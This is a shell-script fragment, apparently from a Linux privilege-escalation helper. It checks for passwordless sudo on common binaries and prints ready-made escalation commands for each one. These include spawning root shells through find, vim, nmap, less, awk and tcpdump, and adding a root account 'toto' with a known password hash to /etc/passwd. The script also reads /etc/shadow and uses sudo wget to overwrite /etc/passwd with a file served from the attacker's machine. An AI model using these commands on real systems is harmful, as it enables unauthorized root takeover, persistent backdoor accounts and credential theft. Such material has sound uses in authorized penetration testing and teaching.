{
var2=""
var2=`echo '' | sudo -S -l -k 2>/dev/null | grep "(root) NOPASSWD:" | grep "bin/$1"`
if [ "$var2" ]; then
echo -e "[+] Sudo $1, was found "
echo -e "Run the following commands :"
resgrep=`echo '' | cat bins.txt | grep "$1"`
echo -e "$resgrep"
echo -e "\n"
else
:
fi
}
# echo -e "\n"
echo -e "${BOLD}${YELLOW}============ Checking for Dangerous bin from sudoers ================== ${RESET} \n"
# fn_dngbin "BIN_NAME" "PATH" "CMD_LINE_1" "CMD_LINE_2" "CMD_LINE_3" "CMD_LINE_4"
echo -e "${BOLD}${GREEN}[+] Common dangerous bins: ${RESET}"
fn_dngbin "find" "/usr/bin/" "[=] sudo find /etc/passwd -exec /bin/sh \;"
fn_dngbin "nano" "/usr/bin/" "[=] if find exists, then sudo find /bin -name nano -exec /bin/sh \;"
fn_dngbin "nano" "/usr/bin/" "[=] A text editor with root priv can be used to modify the passwd file so as " "to add a user with root priv. add the below line into the /etc/passwd file using >> sudo nano /etc/passwd" "toto:$6$bxwJfzor$MUhUWO0MUgdkWfPPEydqgZpm.YtPMI/gaM4lVqhP21LFNWmSJ821kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0:0:0:root:/root:/bin/bash" "su - toto , username: toto password: test"
fn_dngbin "vim" "/usr/bin/" "[=] sudo vim -c '!sh'"
fn_dngbin "vim" "/usr/bin/" "[=] A text editor with root priv can be used to modify the passwd file so as " "to add a user with root priv. add the below line into the /etc/passwd file using >> sudo vim /etc/passwd" "toto:$6$bxwJfzor$MUhUWO0MUgdkWfPPEydqgZpm.YtPMI/gaM4lVqhP21LFNWmSJ821kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0:0:0:root:/root:/bin/bash" "su - toto , username: toto password: test"
fn_dngbin "nmap" "/usr/bin/" "[=] Old way, sudo nmap --interactive" "then !sh" "[+] New way, echo 'os.execute('/bin/sh') > /tmp/shell.nse && sudo nmap --script=/tmp/shell.nse'"
fn_dngbin "man" "/usr/bin/" "[=] sudo man man" "[+] !sh"
fn_dngbin "less" "/usr/bin/" "[=] sudo less /etc/hosts" "then !sh" " can also be used to read a file > sudo less :e /etc/passwd or sudo less :n /var/log/dmesg /etc/shadow" "check /web res/Dangerous Sudoers Entries – PART 2/4: Insecure Functionality – Compass Security Blog.html"
fn_dngbin "more" "/usr/bin/" "[=] sudo more /etc/hosts" "then !sh"
fn_dngbin "awk" "/usr/bin/" "[=] sudo awk 'BEGIN {system('""/bin/sh""')}'"
fn_dngbin "vi" "/usr/bin/" "[=] A text editor with root priv can be used to modify the passwd file so as " "to add a user with root priv. add the below line into the /etc/passwd file using >> sudo vi /etc/passwd" "toto:$6$bxwJfzor$MUhUWO0MUgdkWfPPEydqgZpm.YtPMI/gaM4lVqhP21LFNWmSJ821kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0:0:0:root:/root:/bin/bash" "su - toto , username: toto password: test"
fn_dngbin "wget" "/usr/bin/" "[=] Copy the /etc/passwd file of the target then transfert by an means to the attack box" "Modify the /etc/passwd file stolen to add the line below: " "toto:$6$bxwJfzor$MUhUWO0MUgdkWfPPEydqgZpm.YtPMI/gaM4lVqhP21LFNWmSJ821kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0:0:0:root:/root:/bin/bash" "username: toto password: test, Launch a web server and transferred the modified /etc/passwd file, sudo wget http://[IP]:8585/passwd -O /etc/passwd then su - toto "
fn_dngbin "tcpdump" "/usr/sbin/" "[=] create a script in /tmp/script.sh" "#! /bin/bash" "bash" "Run the command: sudo -u [USER] /usr/sbin/tcpdump -ln -i ens32 -w /dev/null -W 1 -G 1 -z /tmp/script.sh"
fn_dngbin "bash" "/usr/bin/" "[=] run sudo -u [user] /bin/bash"
# GTFOBINS - https://gtfobins.github.io/#+sudo
#fn_dngbin "apt-get" "/usr/bin/" "[=] sudo apt-get changelog apt" "!/bin/sh"
#fn_dngbin "apt" "/usr/bin/" "[=] sudo apt-get changelog apt" "!/bin/sh"